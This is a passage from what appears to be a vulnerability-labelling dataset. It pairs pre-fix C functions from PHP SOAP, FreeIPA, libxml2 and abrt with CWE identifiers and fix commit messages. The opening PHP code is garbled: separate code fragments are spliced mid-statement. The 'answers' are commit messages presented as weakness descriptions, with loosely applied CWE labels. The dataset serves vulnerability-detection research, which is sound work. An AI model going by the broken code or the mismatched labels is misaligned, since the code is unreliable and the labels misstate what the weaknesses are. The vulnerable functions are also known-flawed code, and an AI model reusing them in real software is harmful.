\"_cookies\", sizeof(\"_cookies\"), &tmp_cookies, sizeof(zval *), (void **)&cookies);\n\t\t}\n\n\t\tend_pos = strstr(cookie_itt,\"\\r\\n\");\n\t\tcookie = get_http_header_value(cookie_itt,\"Set-Cookie: \");\n\n\t\teqpos = strstr(cookie, \"=\");\n\t\tsempos = strstr(cookie, \";\");\n\t\tif (eqpos != NULL && (sempos == NULL || sempos > eqpos)) {\n\t\t\tsmart_str name = {0};\n\t\t\tint cookie_len;\n\t\t\tzval *zcookie;\n\n\t\t\tif (sempos != NULL) {\n\t\t\t\tcookie_len = sempos-(eqpos+1);\n\t\t\t} else {\n\t\t\t\tcookie_len = strlen(cookie)-(eqpos-cookie)-1;\n\t\t\t}\n\n\t\t\tsmart_str_appendl(&name, cookie, eqpos - cookie);\n\t\t\tsmart_str_0(&name);\n\n\t\t\tALLOC_INIT_ZVAL(zcookie);\n\t\t\tarray_init(zcookie);\n\t\t\tadd_index_stringl(zcookie, 0, eqpos + 1, cookie_len, 1);\n\n\t\t\tif (sempos != NULL) {\n\t\t\t\tchar *options = cookie + cookie_len+1;\n\t\t\t\twhile (*options) {\n\t\t\t\t\twhile (*options == ' ') {options++;}\n\t\t\t\t\tsempos = strstr(options, \";\");\n\t\t\t\t\tif (strstr(options,\"path=\") == options) {\n\t\t\t\t\t\teqpos = options + sizeof(\"path=\")-1;\n\t\t\t\t\t\tadd_index_stringl(zcookie, 1, eqpos, sempos?(sempos-eqpos):strlen(eqpos), 1);\n\t\t\t\t\t} else if (strstr(options,\"domain=\") == options) {\n\t\t\t\t\t\teqpos = options + sizeof(\"domain=\")-1;\n\t\t\t\t\t\tadd_index_stringl(zcookie, 2, eqpos, sempos?(sempos-eqpos):strlen(eqpos), 1);\n\t\t\t\t\t} else if (strstr(options,\"secure\") == options) {\n\t\t\t\t\t\tadd_index_bool(zcookie, 3, 1);\n\t\t\t\t\t}\n\t\t\t\t\tif (sempos != NULL) {\n\t\t\t\t\t\toptions = sempos+1;\n\t\t\t\t\t} else {\n\t\t\t\t\t break;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!zend_hash_index_exists(Z_ARRVAL_P(zcookie), 1)) {\n\t\t\t\tchar *t = phpurl->path?phpurl->path:\"/\";\n\t\t\t\tchar *c = strrchr(t, '/');\n\t\t\t\tif (c) {\n\t\t\t\t\tadd_index_stringl(zcookie, 1, t, c-t, 1);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!zend_hash_index_exists(Z_ARRVAL_P(zcookie), 2)) {\n\t\t\t\tadd_index_string(zcookie, 2, phpurl->host, 1);\n\t\t\t}\n\n\t\t\tadd_assoc_zval_ex(*cookies, name.c, name.len+1, zcookie);\n\t\t\tsmart_str_free(&name);\n\t\t}\n\n\t\tcookie_itt = strstr(cookie_itt + sizeof(\"Set-Cookie: \"), \"Set-Cookie: \");\n\t\tefree(cookie);\n\t}\n\n\t/* See if the server requested a close */\n\tif (http_1_1) {\n\t\thttp_close = FALSE;\n\t\tif (use_proxy && !use_ssl) {\n\t\t\tconnection = get_http_header_value(http_headers,\"Proxy-Connection: \");\n\t\t\tif (connection) {\n\t\t\t\tif (strncasecmp(connection, \"close\", sizeof(\"close\")-1) == 0) {\n\t\t\t\t\thttp_close = TRUE;\n\t\t\t\t}\n\t\t\t\tefree(connection);\n\t\t\t}\n\t\t}\n\t\tif (http_close == FALSE) {\n\t\t\tconnection = get_http_header_value(http_headers,\"Connection: \");\n\t\t\tif (connection) {\n\t\t\t\tif (strncasecmp(connection, \"close\", sizeof(\"close\")-1) == 0) {\n\t\t\t\t\thttp_close = TRUE;\n\t\t\t\t}\n\t\t\t\tefree(connection);\n\t\t\t}\n\t\t}\n\t} else {\n\t\thttp_close = TRUE;\n\t\tif (use_proxy && !use_ssl) {\n\t\t\tconnection = get_http_header_value(http_headers,\"Proxy-Connection: \");\n\t\t\tif (connection) {\n\t\t\t\tif (strncasecmp(connection, \"Keep-Alive\", sizeof(\"Keep-Alive\")-1) == 0) {\n\t\t\t\t\thttp_close = FALSE;\n\t\t\t\t}\n\t\t\t\tefree(connection);\n\t\t\t}\n\t\t}\n\t\tif (http_close == TRUE) {\n\t\t\tconnection = get_http_header_value(http_headers,\"Connection: \");\n\t\t\tif (connection) {\n\t\t\t\tif (strncasecmp(connection, \"Keep-Alive\", sizeof(\"Keep-Alive\")-1) == 0) {\n\t\t\t\t\thttp_close = FALSE;\n\t\t\t\t}\n\t\t\t\tefree(connection);\n\t\t\t}\n\t\t}\n\t}\t\n\n\tif (!get_http_body(stream, http_close, http_headers, &http_body, &http_body_size TSRMLS_CC)) {\n\t\tif (request != buf) {efree(request);}\n\t\tphp_stream_close(stream);\n\t\tefree(http_headers);\n\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpsocket\", sizeof(\"httpsocket\"));\n\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"_use_proxy\", sizeof(\"_use_proxy\"));\n\t\tadd_soap_fault(this_ptr, \"HTTP\", \"Error Fetching http body, No Content-Length, connection closed or chunked data\", NULL, NULL TSRMLS_CC);\n\t\tif (http_msg) {\n\t\t\tefree(http_msg);\n\t\t}\n\t\tsmart_str_free(&soap_headers_z);\n\t\treturn FALSE;\n\t}\n\n\tif (request != buf) {efree(request);}\n\n\tif (http_close) {\n\t\tphp_stream_close(stream);\n\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpsocket\", sizeof(\"httpsocket\"));\n\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"_use_proxy\", sizeof(\"_use_proxy\"));\n\t\tstream = NULL;\n\t}\n\n\t/* Process HTTP status codes */\n\tif (http_status >= 300 && http_status < 400) {\n\t\tchar *loc;\n\n\t\tif ((loc = get_http_header_value(http_headers,\"Location: \")) != NULL) {\n\t\t\tphp_url *new_url = php_url_parse(loc);\n\n\t\t\tif (new_url != NULL) {\n\t\t\t\tefree(http_headers);\n\t\t\t\tefree(http_body);\n\t\t\t\tefree(loc);\n\t\t\t\tif (new_url->scheme == NULL && new_url->path != NULL) {\n\t\t\t\t\tnew_url->scheme = phpurl->scheme ? estrdup(phpurl->scheme) : NULL;\n\t\t\t\t\tnew_url->host = phpurl->host ? estrdup(phpurl->host) : NULL;\n\t\t\t\t\tnew_url->port = phpurl->port;\n\t\t\t\t\tif (new_url->path && new_url->path[0] != '/') {\n\t\t\t\t\t\tif (phpurl->path) {\n\t\t\t\t\t\t\tchar *t = phpurl->path;\n\t\t\t\t\t\t\tchar *p = strrchr(t, '/');\n\t\t\t\t\t\t\tif (p) {\n\t\t\t\t\t\t\t\tchar *s = emalloc((p - t) + strlen(new_url->path) + 2);\n\t\t\t\t\t\t\t\tstrncpy(s, t, (p - t) + 1);\n\t\t\t\t\t\t\t\ts[(p - t) + 1] = 0;\n\t\t\t\t\t\t\t\tstrcat(s, new_url->path);\n\t\t\t\t\t\t\t\tefree(new_url->path);\n\t\t\t\t\t\t\t\tnew_url->path = s;\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tchar *s = emalloc(strlen(new_url->path) + 2);\n\t\t\t\t\t\t\ts[0] = '/'; s[1] = 0;\n\t\t\t\t\t\t\tstrcat(s, new_url->path);\n\t\t\t\t\t\t\tefree(new_url->path);\n\t\t\t\t\t\t\tnew_url->path = s;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tphpurl = new_url;\n\n\t\t\t\tif (--redirect_max < 1) {\n\t\t\t\t\tadd_soap_fault(this_ptr, \"HTTP\", \"Redirection limit reached, aborting\", NULL, NULL TSRMLS_CC);\n\t\t\t\t\tsmart_str_free(&soap_headers_z);\n\t\t\t\t\treturn FALSE;\n\t\t\t\t}\n\n\t\t\t\tgoto try_again;\n\t\t\t}\n\t\t}\n\t} else if (http_status == 401) {\n\t\t/* Digest authentication */\n\t\tzval **digest, **login, **password;\n\t\tchar *auth = get_http_header_value(http_headers, \"WWW-Authenticate: \");\n\n\t\tif (auth &&\n\t\t\t\tstrstr(auth, \"Digest\") == auth &&\n\t\t (zend_hash_find(Z_OBJPROP_P(this_ptr), \"_digest\", sizeof(\"_digest\"), (void **)&digest) == FAILURE ||\n\t\t Z_TYPE_PP(digest) != IS_ARRAY) &&\n\t\t zend_hash_find(Z_OBJPROP_P(this_ptr), \"_login\", sizeof(\"_login\"), (void **)&login) == SUCCESS &&\n\t\t Z_TYPE_PP(login) == IS_STRING &&\n\t\t zend_hash_find(Z_OBJPROP_P(this_ptr), \"_password\", sizeof(\"_password\"), (void **)&password) == SUCCESS &&\n\t\t Z_TYPE_PP(password) == IS_STRING) {\n\t\t\tchar *s;\n\t\t\tzval *digest = NULL;\n\n\t\t\ts = auth + sizeof(\"Digest\")-1;\n\t\t\twhile (*s != '\\0') {\n\t\t\t\tchar *name, *val;\n\t\t\t\twhile (*s == ' ') ++s;\n\t\t\t\tname = s;\n\t\t\t\twhile (*s != '\\0' && *s != '=') ++s;\n\t\t\t\tif (*s == '=') {\n\t\t\t\t\t*s = '\\0';\n\t\t\t\t\t++s;\n\t\t\t\t\tif (*s == '\"') {\n\t\t\t\t\t\t++s;\n\t\t\t\t\t\tval = s;\n\t\t\t\t\t\twhile (*s != '\\0' && *s != '\"') ++s;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tval = s;\n\t\t\t\t\t\twhile (*s != '\\0' && *s != ' ' && *s != ',') ++s;\n\t\t\t\t\t}\n\t\t\t\t\tif (*s != '\\0') {\n\t\t\t\t\t\tif (*s != ',') {\n\t\t\t\t\t\t\t*s = '\\0';\n\t\t\t\t\t\t\t++s;\n\t\t\t\t\t\t\twhile (*s != '\\0' && *s != ',') ++s;\n\t\t\t\t\t\t\tif (*s != '\\0') ++s;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t*s = '\\0';\n\t\t\t\t\t\t\t++s;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (digest == NULL) {\n\t\t\t\t\t\tALLOC_INIT_ZVAL(digest);\n\t\t\t\t\t\tarray_init(digest);\n\t\t\t\t\t}\n\t\t\t\t\tadd_assoc_string(digest, name, val ,1);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (digest != NULL) {\n\t\t\t\tphp_url *new_url = emalloc(sizeof(php_url));\n\n\t\t\t\tZ_DELREF_P(digest);\n\t\t\t\tadd_property_zval_ex(this_ptr, \"_digest\", sizeof(\"_digest\"), digest TSRMLS_CC);\n\n\t\t\t\t*new_url = *phpurl;\n\t\t\t\tif (phpurl->scheme) phpurl->scheme = estrdup(phpurl->scheme);\n\t\t\t\tif (phpurl->user) phpurl->user = estrdup(phpurl->user);\n\t\t\t\tif (phpurl->pass) phpurl->pass = estrdup(phpurl->pass);\n\t\t\t\tif (phpurl->host) phpurl->host = estrdup(phpurl->host);\n\t\t\t\tif (phpurl->path) phpurl->path = estrdup(phpurl->path);\n\t\t\t\tif (phpurl->query) phpurl->query = estrdup(phpurl->query);\n\t\t\t\tif (phpurl->fragment) phpurl->fragment = estrdup(phpurl->fragment);\n\t\t\t\tphpurl = new_url;\n\n\t\t\t\tefree(auth);\n\t\t\t\tefree(http_headers);\n\t\t\t\tefree(http_body);\n\n\t\t\t\tgoto try_again;\n\t\t\t}\n\t\t}\n\t\tif (auth) efree(auth);\n\t}\n\tsmart_str_free(&soap_headers_z);\n\n\t/* Check and see if the server even sent a xml document */\n\tcontent_type = get_http_header_value(http_headers,\"Content-Type: \");\n\tif (content_type) {\n\t\tchar *pos = NULL;\n\t\tint cmplen;\n\t\tpos = strstr(content_type,\";\");\n\t\tif (pos != NULL) {\n\t\t\tcmplen = pos - content_type;\n\t\t} else {\n\t\t\tcmplen = strlen(content_type);\n\t\t}\n\t\tif (strncmp(content_type, \"text/xml\", cmplen) == 0 ||\n\t\t strncmp(content_type, \"application/soap+xml\", cmplen) == 0) {\n\t\t\tcontent_type_xml = 1;\n/*\n\t\t\tif (strncmp(http_body, \"= 400) {\n\t\tint error = 0;\n\n\t\tif (*buffer_len == 0) {\n\t\t\terror = 1;\n\t\t} else if (*buffer_len > 0) {\n\t\t\tif (!content_type_xml) {\n\t\t\t\tchar *s = *buffer;\n\n\t\t\t\twhile (*s != '\\0' && *s < ' ') {\n\t\t\t\t\ts++;\n\t\t\t\t}\n\t\t\t\tif (strncmp(s, \" \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-19'], 'message': 'Added type checks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int get_buffer(size_t *_buf_len, char **_buf)\n{\n long pw_max;\n long gr_max;\n size_t buf_len;\n char *buf;\n\n pw_max = sysconf(_SC_GETPW_R_SIZE_MAX);\n gr_max = sysconf(_SC_GETGR_R_SIZE_MAX);\n\n if (pw_max == -1 && gr_max == -1) {\n buf_len = 16384;\n } else {\n buf_len = MAX(pw_max, gr_max);\n }\n\n buf = malloc(sizeof(char) * buf_len);\n if (buf == NULL) {\n return LDAP_OPERATIONS_ERROR;\n }\n\n *_buf_len = buf_len;\n *_buf = buf;\n\n return LDAP_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-19'], 'message': 'extdom: handle ERANGE return code for getXXYYY_r() calls\n\nThe getXXYYY_r() calls require a buffer to store the variable data of\nthe passwd and group structs. If the provided buffer is too small ERANGE\nis returned and the caller can try with a larger buffer again.\n\nCmocka/cwrap based unit-tests for get*_r_wrapper() are added.\n\nResolves https://fedorahosted.org/freeipa/ticket/4908\n\nReviewed-By: Alexander Bokovoy '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int handle_gid_request(enum request_types request_type, gid_t gid,\n const char *domain_name, struct berval **berval)\n{\n int ret;\n struct group grp;\n char *sid_str = NULL;\n enum sss_id_type id_type;\n size_t buf_len;\n char *buf = NULL;\n struct sss_nss_kv *kv_list = NULL;\n\n ret = get_buffer(&buf_len, &buf);\n if (ret != LDAP_SUCCESS) {\n return ret;\n }\n\n if (request_type == REQ_SIMPLE) {\n ret = sss_nss_getsidbyid(gid, &sid_str, &id_type);\n if (ret != 0 || id_type != SSS_ID_TYPE_GID) {\n if (ret == ENOENT) {\n ret = LDAP_NO_SUCH_OBJECT;\n } else {\n ret = LDAP_OPERATIONS_ERROR;\n }\n goto done;\n }\n\n ret = pack_ber_sid(sid_str, berval);\n } else {\n ret = getgrgid_r_wrapper(MAX_BUF, gid, &grp, &buf, &buf_len);\n if (ret != 0) {\n if (ret == ENOMEM || ret == ERANGE) {\n ret = LDAP_OPERATIONS_ERROR;\n } else {\n ret = LDAP_NO_SUCH_OBJECT;\n }\n goto done;\n }\n\n if (request_type == REQ_FULL_WITH_GROUPS) {\n ret = sss_nss_getorigbyname(grp.gr_name, &kv_list, &id_type);\n if (ret != 0 || !(id_type == SSS_ID_TYPE_GID\n || id_type == SSS_ID_TYPE_BOTH)) {\n if (ret == ENOENT) {\n ret = LDAP_NO_SUCH_OBJECT;\n } else {\n ret = LDAP_OPERATIONS_ERROR;\n }\n goto done;\n }\n }\n\n ret = pack_ber_group((request_type == REQ_FULL ? RESP_GROUP\n : RESP_GROUP_MEMBERS),\n domain_name, grp.gr_name, grp.gr_gid,\n grp.gr_mem, kv_list, berval);\n }\n\ndone:\n sss_nss_free_kv(kv_list);\n free(sid_str);\n free(buf);\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-19'], 'message': 'extdom: make nss buffer configurable\n\nThe get*_r_wrapper() calls expect a maximum buffer size to avoid memory\nshortage if too many threads try to allocate buffers e.g. for large\ngroups. With this patch this size can be configured by setting\nipaExtdomMaxNssBufSize in the plugin config object\ncn=ipa_extdom_extop,cn=plugins,cn=config.\n\nRelated to https://fedorahosted.org/freeipa/ticket/4908\n\nReviewed-By: Alexander Bokovoy '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xmlTextReaderSetup(xmlTextReaderPtr reader,\n xmlParserInputBufferPtr input, const char *URL,\n const char *encoding, int options)\n{\n if (reader == NULL) {\n if (input != NULL)\n\t xmlFreeParserInputBuffer(input);\n return (-1);\n }\n\n /*\n * we force the generation of compact text nodes on the reader\n * since usr applications should never modify the tree\n */\n options |= XML_PARSE_COMPACT;\n\n reader->doc = NULL;\n reader->entNr = 0;\n reader->parserFlags = options;\n reader->validate = XML_TEXTREADER_NOT_VALIDATE;\n if ((input != NULL) && (reader->input != NULL) &&\n (reader->allocs & XML_TEXTREADER_INPUT)) {\n\txmlFreeParserInputBuffer(reader->input);\n\treader->input = NULL;\n\treader->allocs -= XML_TEXTREADER_INPUT;\n }\n if (input != NULL) {\n\treader->input = input;\n\treader->allocs |= XML_TEXTREADER_INPUT;\n }\n if (reader->buffer == NULL)\n reader->buffer = xmlBufCreateSize(100);\n if (reader->buffer == NULL) {\n xmlGenericError(xmlGenericErrorContext,\n \"xmlTextReaderSetup : malloc failed\\n\");\n return (-1);\n }\n if (reader->sax == NULL)\n\treader->sax = (xmlSAXHandler *) xmlMalloc(sizeof(xmlSAXHandler));\n if (reader->sax == NULL) {\n xmlGenericError(xmlGenericErrorContext,\n \"xmlTextReaderSetup : malloc failed\\n\");\n return (-1);\n }\n xmlSAXVersion(reader->sax, 2);\n reader->startElement = reader->sax->startElement;\n reader->sax->startElement = xmlTextReaderStartElement;\n reader->endElement = reader->sax->endElement;\n reader->sax->endElement = xmlTextReaderEndElement;\n#ifdef LIBXML_SAX1_ENABLED\n if (reader->sax->initialized == XML_SAX2_MAGIC) {\n#endif /* LIBXML_SAX1_ENABLED */\n reader->startElementNs = reader->sax->startElementNs;\n reader->sax->startElementNs = xmlTextReaderStartElementNs;\n reader->endElementNs = reader->sax->endElementNs;\n reader->sax->endElementNs = xmlTextReaderEndElementNs;\n#ifdef LIBXML_SAX1_ENABLED\n } else {\n reader->startElementNs = NULL;\n reader->endElementNs = NULL;\n }\n#endif /* LIBXML_SAX1_ENABLED */\n reader->characters = reader->sax->characters;\n reader->sax->characters = xmlTextReaderCharacters;\n reader->sax->ignorableWhitespace = xmlTextReaderCharacters;\n reader->cdataBlock = reader->sax->cdataBlock;\n reader->sax->cdataBlock = xmlTextReaderCDataBlock;\n\n reader->mode = XML_TEXTREADER_MODE_INITIAL;\n reader->node = NULL;\n reader->curnode = NULL;\n if (input != NULL) {\n if (xmlBufUse(reader->input->buffer) < 4) {\n xmlParserInputBufferRead(input, 4);\n }\n if (reader->ctxt == NULL) {\n if (xmlBufUse(reader->input->buffer) >= 4) {\n reader->ctxt = xmlCreatePushParserCtxt(reader->sax, NULL,\n\t\t (const char *) xmlBufContent(reader->input->buffer),\n 4, URL);\n reader->base = 0;\n reader->cur = 4;\n } else {\n reader->ctxt =\n xmlCreatePushParserCtxt(reader->sax, NULL, NULL, 0, URL);\n reader->base = 0;\n reader->cur = 0;\n }\n } else {\n\t xmlParserInputPtr inputStream;\n\t xmlParserInputBufferPtr buf;\n\t xmlCharEncoding enc = XML_CHAR_ENCODING_NONE;\n\n\t xmlCtxtReset(reader->ctxt);\n\t buf = xmlAllocParserInputBuffer(enc);\n\t if (buf == NULL) return(-1);\n\t inputStream = xmlNewInputStream(reader->ctxt);\n\t if (inputStream == NULL) {\n\t\txmlFreeParserInputBuffer(buf);\n\t\treturn(-1);\n\t }\n\n\t if (URL == NULL)\n\t\tinputStream->filename = NULL;\n\t else\n\t\tinputStream->filename = (char *)\n\t\t xmlCanonicPath((const xmlChar *) URL);\n\t inputStream->buf = buf;\n xmlBufResetInput(buf->buffer, inputStream);\n\n\t inputPush(reader->ctxt, inputStream);\n\t reader->cur = 0;\n\t}\n if (reader->ctxt == NULL) {\n xmlGenericError(xmlGenericErrorContext,\n \"xmlTextReaderSetup : malloc failed\\n\");\n return (-1);\n }\n }\n if (reader->dict != NULL) {\n if (reader->ctxt->dict != NULL) {\n\t if (reader->dict != reader->ctxt->dict) {\n\t\txmlDictFree(reader->dict);\n\t\treader->dict = reader->ctxt->dict;\n\t }\n\t} else {\n\t reader->ctxt->dict = reader->dict;\n\t}\n } else {\n\tif (reader->ctxt->dict == NULL)\n\t reader->ctxt->dict = xmlDictCreate();\n reader->dict = reader->ctxt->dict;\n }\n reader->ctxt->_private = reader;\n reader->ctxt->linenumbers = 1;\n reader->ctxt->dictNames = 1;\n /*\n * use the parser dictionnary to allocate all elements and attributes names\n */\n reader->ctxt->docdict = 1;\n reader->ctxt->parseMode = XML_PARSE_READER;\n\n#ifdef LIBXML_XINCLUDE_ENABLED\n if (reader->xincctxt != NULL) {\n\txmlXIncludeFreeContext(reader->xincctxt);\n\treader->xincctxt = NULL;\n }\n if (options & XML_PARSE_XINCLUDE) {\n reader->xinclude = 1;\n\treader->xinclude_name = xmlDictLookup(reader->dict, XINCLUDE_NODE, -1);\n\toptions -= XML_PARSE_XINCLUDE;\n } else\n reader->xinclude = 0;\n reader->in_xinclude = 0;\n#endif\n#ifdef LIBXML_PATTERN_ENABLED\n if (reader->patternTab == NULL) {\n reader->patternNr = 0;\n\treader->patternMax = 0;\n }\n while (reader->patternNr > 0) {\n reader->patternNr--;\n\tif (reader->patternTab[reader->patternNr] != NULL) {\n\t xmlFreePattern(reader->patternTab[reader->patternNr]);\n reader->patternTab[reader->patternNr] = NULL;\n\t}\n }\n#endif\n\n if (options & XML_PARSE_DTDVALID)\n reader->validate = XML_TEXTREADER_VALIDATE_DTD;\n\n xmlCtxtUseOptions(reader->ctxt, options);\n if (encoding != NULL) {\n xmlCharEncodingHandlerPtr hdlr;\n\n hdlr = xmlFindCharEncodingHandler(encoding);\n if (hdlr != NULL)\n xmlSwitchToEncoding(reader->ctxt, hdlr);\n }\n if ((URL != NULL) && (reader->ctxt->input != NULL) &&\n (reader->ctxt->input->filename == NULL))\n reader->ctxt->input->filename = (char *)\n xmlStrdup((const xmlChar *) URL);\n\n reader->doc = NULL;\n\n return (0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'CVE-2015-1819 Enforce the reader to run in constant memory\n\nOne of the operation on the reader could resolve entities\nleading to the classic expansion issue. Make sure the\nbuffer used for xmlreader operation is bounded.\nIntroduce a new allocation type for the buffers for this effect.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int main(int argc, char** argv)\n{\n /* Kernel starts us with all fd's closed.\n * But it's dangerous:\n * fprintf(stderr) can dump messages into random fds, etc.\n * Ensure that if any of fd 0,1,2 is closed, we open it to /dev/null.\n */\n int fd = xopen(\"/dev/null\", O_RDWR);\n while (fd < 2)\n\tfd = xdup(fd);\n if (fd > 2)\n\tclose(fd);\n\n if (argc < 8)\n {\n /* percent specifier: %s %c %p %u %g %t %e %h */\n /* argv: [0] [1] [2] [3] [4] [5] [6] [7] [8]*/\n error_msg_and_die(\"Usage: %s SIGNO CORE_SIZE_LIMIT PID UID GID TIME BINARY_NAME [HOSTNAME]\", argv[0]);\n }\n\n /* Not needed on 2.6.30.\n * At least 2.6.18 has a bug where\n * argv[1] = \"SIGNO CORE_SIZE_LIMIT PID ...\"\n * argv[2] = \"CORE_SIZE_LIMIT PID ...\"\n * and so on. Fixing it:\n */\n if (strchr(argv[1], ' '))\n {\n int i;\n for (i = 1; argv[i]; i++)\n {\n strchrnul(argv[i], ' ')[0] = '\\0';\n }\n }\n\n logmode = LOGMODE_JOURNAL;\n\n /* Parse abrt.conf */\n load_abrt_conf();\n /* ... and plugins/CCpp.conf */\n bool setting_MakeCompatCore;\n bool setting_SaveBinaryImage;\n {\n map_string_t *settings = new_map_string();\n load_abrt_plugin_conf_file(\"CCpp.conf\", settings);\n const char *value;\n value = get_map_string_item_or_NULL(settings, \"MakeCompatCore\");\n setting_MakeCompatCore = value && string_to_bool(value);\n value = get_map_string_item_or_NULL(settings, \"SaveBinaryImage\");\n setting_SaveBinaryImage = value && string_to_bool(value);\n value = get_map_string_item_or_NULL(settings, \"VerboseLog\");\n if (value)\n g_verbose = xatoi_positive(value);\n free_map_string(settings);\n }\n\n errno = 0;\n const char* signal_str = argv[1];\n int signal_no = xatoi_positive(signal_str);\n off_t ulimit_c = strtoull(argv[2], NULL, 10);\n if (ulimit_c < 0) /* unlimited? */\n {\n /* set to max possible >0 value */\n ulimit_c = ~((off_t)1 << (sizeof(off_t)*8-1));\n }\n const char *pid_str = argv[3];\n pid_t pid = xatoi_positive(argv[3]);\n uid_t uid = xatoi_positive(argv[4]);\n if (errno || pid <= 0)\n {\n perror_msg_and_die(\"PID '%s' or limit '%s' is bogus\", argv[3], argv[2]);\n }\n\n {\n char *s = xmalloc_fopen_fgetline_fclose(VAR_RUN\"/abrt/saved_core_pattern\");\n /* If we have a saved pattern and it's not a \"|PROG ARGS\" thing... */\n if (s && s[0] != '|')\n core_basename = s;\n else\n free(s);\n }\n\n struct utsname uts;\n if (!argv[8]) /* no HOSTNAME? */\n {\n uname(&uts);\n argv[8] = uts.nodename;\n }\n\n char path[PATH_MAX];\n\n int src_fd_binary = -1;\n char *executable = get_executable(pid, setting_SaveBinaryImage ? &src_fd_binary : NULL);\n if (executable && strstr(executable, \"/abrt-hook-ccpp\"))\n {\n error_msg_and_die(\"PID %lu is '%s', not dumping it to avoid recursion\",\n (long)pid, executable);\n }\n\n user_pwd = get_cwd(pid); /* may be NULL on error */\n log_notice(\"user_pwd:'%s'\", user_pwd);\n\n sprintf(path, \"/proc/%lu/status\", (long)pid);\n proc_pid_status = xmalloc_xopen_read_close(path, /*maxsz:*/ NULL);\n\n uid_t fsuid = uid;\n uid_t tmp_fsuid = get_fsuid();\n int suid_policy = dump_suid_policy();\n if (tmp_fsuid != uid)\n {\n /* use root for suided apps unless it's explicitly set to UNSAFE */\n fsuid = 0;\n if (suid_policy == DUMP_SUID_UNSAFE)\n {\n fsuid = tmp_fsuid;\n }\n }\n\n /* Open a fd to compat coredump, if requested and is possible */\n if (setting_MakeCompatCore && ulimit_c != 0)\n /* note: checks \"user_pwd == NULL\" inside; updates core_basename */\n user_core_fd = open_user_core(uid, fsuid, pid, &argv[1]);\n\n if (executable == NULL)\n {\n /* readlink on /proc/$PID/exe failed, don't create abrt dump dir */\n error_msg(\"Can't read /proc/%lu/exe link\", (long)pid);\n goto create_user_core;\n }\n\n const char *signame = NULL;\n switch (signal_no)\n {\n case SIGILL : signame = \"ILL\" ; break;\n case SIGFPE : signame = \"FPE\" ; break;\n case SIGSEGV: signame = \"SEGV\"; break;\n case SIGBUS : signame = \"BUS\" ; break; //Bus error (bad memory access)\n case SIGABRT: signame = \"ABRT\"; break; //usually when abort() was called\n // We have real-world reports from users who see buggy programs\n // dying with SIGTRAP, uncommented it too:\n case SIGTRAP: signame = \"TRAP\"; break; //Trace/breakpoint trap\n // These usually aren't caused by bugs:\n //case SIGQUIT: signame = \"QUIT\"; break; //Quit from keyboard\n //case SIGSYS : signame = \"SYS\" ; break; //Bad argument to routine (SVr4)\n //case SIGXCPU: signame = \"XCPU\"; break; //CPU time limit exceeded (4.2BSD)\n //case SIGXFSZ: signame = \"XFSZ\"; break; //File size limit exceeded (4.2BSD)\n default: goto create_user_core; // not a signal we care about\n }\n\n if (!daemon_is_ok())\n {\n /* not an error, exit with exit code 0 */\n log(\"abrtd is not running. If it crashed, \"\n \"/proc/sys/kernel/core_pattern contains a stale value, \"\n \"consider resetting it to 'core'\"\n );\n goto create_user_core;\n }\n\n if (g_settings_nMaxCrashReportsSize > 0)\n {\n /* If free space is less than 1/4 of MaxCrashReportsSize... */\n if (low_free_space(g_settings_nMaxCrashReportsSize, g_settings_dump_location))\n goto create_user_core;\n }\n\n /* Check /var/tmp/abrt/last-ccpp marker, do not dump repeated crashes\n * if they happen too often. Else, write new marker value.\n */\n snprintf(path, sizeof(path), \"%s/last-ccpp\", g_settings_dump_location);\n if (check_recent_crash_file(path, executable))\n {\n /* It is a repeating crash */\n goto create_user_core;\n }\n\n const char *last_slash = strrchr(executable, '/');\n if (last_slash && strncmp(++last_slash, \"abrt\", 4) == 0)\n {\n /* If abrtd/abrt-foo crashes, we don't want to create a _directory_,\n * since that can make new copy of abrtd to process it,\n * and maybe crash again...\n * Unlike dirs, mere files are ignored by abrtd.\n */\n snprintf(path, sizeof(path), \"%s/%s-coredump\", g_settings_dump_location, last_slash);\n int abrt_core_fd = xopen3(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);\n off_t core_size = copyfd_eof(STDIN_FILENO, abrt_core_fd, COPYFD_SPARSE);\n if (core_size < 0 || fsync(abrt_core_fd) != 0)\n {\n unlink(path);\n /* copyfd_eof logs the error including errno string,\n * but it does not log file name */\n error_msg_and_die(\"Error saving '%s'\", path);\n }\n log(\"Saved core dump of pid %lu (%s) to %s (%llu bytes)\", (long)pid, executable, path, (long long)core_size);\n return 0;\n }\n\n unsigned path_len = snprintf(path, sizeof(path), \"%s/ccpp-%s-%lu.new\",\n g_settings_dump_location, iso_date_string(NULL), (long)pid);\n if (path_len >= (sizeof(path) - sizeof(\"/\"FILENAME_COREDUMP)))\n {\n goto create_user_core;\n }\n\n /* use fsuid 